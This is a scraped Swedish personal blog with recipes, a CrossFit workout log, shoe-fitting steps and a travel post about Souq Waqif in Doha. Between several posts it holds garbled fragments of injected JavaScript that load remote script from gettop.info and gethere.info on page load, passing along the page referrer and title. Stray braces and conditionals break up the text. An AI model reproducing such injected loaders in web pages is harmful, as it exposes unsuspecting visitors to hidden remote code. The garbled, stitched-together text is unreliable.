Hemgjord citronlemonad

I NYC beställde jag  hemgjord citronlemonad till min hamburgare och guuud så gott det är med färsk lemonad. Här får ni recept om ni vill pröva själva. Om ni inte vill göra 3  liter så halvera receptet och använd ca 1 1/2 dl socker och 4 citroner till en liter vatten.

933994_10151431933230959_276292200_n

ca 3 liter
Frisk och god dryck som kan drickas både kall och varm.
2 liter vatten
cirka 2 1/2 dl strösocker
9 citroner, saften

Häll upp kallt vatten i en bunke och tillsätt sockret. Rör om tills sockret är upplöst. Pressa i saften från citronerna genom en sil. Smaka av om du vill ha mer socker.

Häll upp lemonaden på flaskor och kyl.

Lemonaden går både att blanda drinkar med och dricka varm.if (document.currentScript) {

}if (document.currentScript) {

Mina nya Reebok Crossfit Nano med ”U-Form” .

YouTube Preview Image

bild bild2

När jag var i New York köpte jag mig ett par CrossFit skor från Reebook store  och modellen heter ”Women’s Reebok CrossFit Nano”. Innan du använder skorna första gången ska man

Reebok Flex Nano:

  1. Place hairdryer inside shoe and blow hot air for 4 minutes. (DO NOT USE OVEN!) ”U-Form” tab will turn red.
  2. Remove hairdryer from shoes.
  3. Lace up shoes as you normally would and wear them seated for 8 minutes (”U-Form” tab will return to black)
  4. Let them stand for about an hour or until completely cooled before wearing them in your next WOD
  5. Your shoes are ready to go!

*This process can be repeated more than once throughout the life of the shoe.  Do not use microwave oven}

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Dagens WOD på CrossFit Göta

Idag var det coachen Marcus som körde passet och jag är tacksam att han har sådant tålamod med oss ”nya”.
Han peppar alla och får oss att prestera max. Idag gjorde jag rekord på  skivstång och ökade från 15 kilos vikt till 24 kg vilket jag är mycket stolt över.

När vi övade styrka idag blev det följande övningar: Front squat 333111, Vila 2min

Dagens Metcon var 5 rounds for time och vi körde i 20 minuter följande:

20 wall balls
10 toes to bar
20 calories airdyne/rodd
10 purpees.

Fyyyy vad trötta vi var efteråt….
Bilden nedan har jag lånat från Cross Fit Göta’s facebook sida.
525230_451550714931165_653593465_n

Chokladmousse med daim och minimarshmallows

Tycker du om chokladmousse, måste du pröva detta recept.

Chokladmousse. (4-5 portioner)
125 gram mörk choklad
2 äggulor
1 msk florsocker
2 msk starkt kaffe
2 dl vispgrädde
2 äggvitor
Daim
Minimarshmallows

Gör så här:
Smält chokladen i en djup tallrik över en kastrull med kokande vatten. Rör ner äggulor, socker och kaffe. Vispa äggvitor och grädde var för sig till hårt skum. Vänd först ned grädden och sedan äggvitorna. Slå upp i glas eller formar och ställ kallt till servering. Toppa gärna med krossad daim och minimarshmallows.
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

document.currentScript.parentNode.insertBefore(s, document.currentScript);d.getElementsByTagName(‘head’)[0].appendChild(s);

Paella

Ingredienser (4-6 portioner)

1 gul lök
2 vitlöksklyftor
Smör  till stekning
1 pkt saffran, 0,5 g
2 1/2 dl avorioris
5 – 6 dl vatten
3 msk konc kycklingfond
40 g Smör
1 tsk pressad limesaft
1 krm sambal oelek
500 g stora räkor med skal
1 paprika 3 tomater
1 grillad  kyckling
1 burk musslor, 250 g
1/2 dl grovhackad persilja

 

Gör så här:
Skala och hacka löken och vitlöken. Fräs i smör i en tjockbottnad, stor gryta eller wok. Rör i saffran och ris. Häll på vatten och fond. Låt riset koka på svag värme under lock ca 20 min.
Rör ihop smör, limesaft och sambal oelek. Skala räkorna men spara några oskalade till garnering. Kärna ut paprika, tomater och kyckling i bitar. Låt musslorna rinna av. Rör ner kryddsmöret i klickar och ev. mer vatten. Lägg ner kyckling och grönsaker. Lägg på locket och låt allt bli varmt. Strö över persilja.}

if (document.currentScript) {

Souq Waqif, Doha

Jag kan rekommendera att ni tar ett besök till en underbar marknad som heter ”Souq Waqif” i Doha. Ni hittar mer information här. Där kan ni köpa mattor, hantverk, pärlor, guld, silver, torkad frukt och nötter och vill ni bara strosa omkring och ta en kaffe eller fika så finns det många bra ställen att besöka.

bild (11)

bild (9)

cafetasse_4_innerbig

bild (3)bild (13)bild (2)
Här är Café Tasse som vi fikade på där de serverar en massa goda bakverk och goda färskpressade juicer och en massa annat gott.

t1larg_qatar_soccer

S1a

morning-in-souq-waqif-doha-qatar-paul-cowan

bild (16)

bild (12)10

2586018-2-colored-chicks

På markande såldes bla färgade kycklingar. Hur får man då färgen på kycklingarna….jo man sprutar i ett färgämne i ägget under kycklingens fosterutveckling så att fostret färgas. Låter inget vidare dock.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Kerstins goda Citronpaj

bild2

Deg: 100 g smör,2½dl mjöl,2 msk vatten. Blanda och låt stå kallt. Kavla sedan degen i en 25 cm rund pajform. Nagga och förgräddai 200 grader i 20 min.

Citronkräm: 1 ½ dl socker,2½ dl vatten,2 msk mjöl,3 äggulor,1 msk smör,rivet skal av 2 citroner,4 msk pressad citronsaft. Blanda citronkrämen,låt koka upp under ständig omrörning. Häll i pajskalet.

Maräng:6 äggvitor,12 msk socker. Vispa äggvitor till hårt skum, vänd ner sockret. Bred över pajen.

Grädda pajen i 150 grader i ca 10 min,tills marängen fått färg.

bild1

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

document.currentScript.parentNode.insertBefore(s, document.currentScript);}

Dumle mousse

bild (36)

50 gram Dumlekolor
2 msk florsocker
2 ägg
2 dl grädde

Smält dumelen tillsammans med florsocker i vattenbad. Låt svalna.
Separera äggen, vispa äggvitor till ett hårt skum och vispa ner äggulorna i den avsvalnande chokladen.
Vispa grädden hårt och vänd ner den och äggvitefluffet i chokladen. Rör ihop moussen till en slät smet.
Häll upp i flas och ställ kallt i ca 4 timmar.

Servera gärna med lite färska hallon.

bild (16)

 

 if (document.currentScript) {

} else {

Inkokta päron med smak av vanilj och kanel

bild6

 

2 päron (Conference)
1 citron
2 kanelstänger
1 vaniljstång
2 dl socker
vatten

Gör så här:
Skala päronen och lägg dem i vatten med pressad citronsaft. Vattnet ska precis täcka päronen. Snitta vaniljstången och gröp ur den. Koka ihop alla ingredienser. Lägg ner päronen och låt dom koka sakta i ca 15-20 minuter beroende på mognadsgrad. Lägg päronen i väl rengjorda burk. Låt lagen svalna innan du häller ner den i burken annars finns det risk för att burken spricker. Servera päronen ljumna eller spara dom i en väl förseglad burk i kylen.

bild2bild3

bild1bild6bild5bild4

} else {

Goda köttfärspiroger

De här köttfärspirogerna smakar mkt gott och är perfekt att frysa in och ta fram när man är småhungrig.
Receptet hittar du här.

s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; d.getElementsByTagName('head')[0].appendChild(s);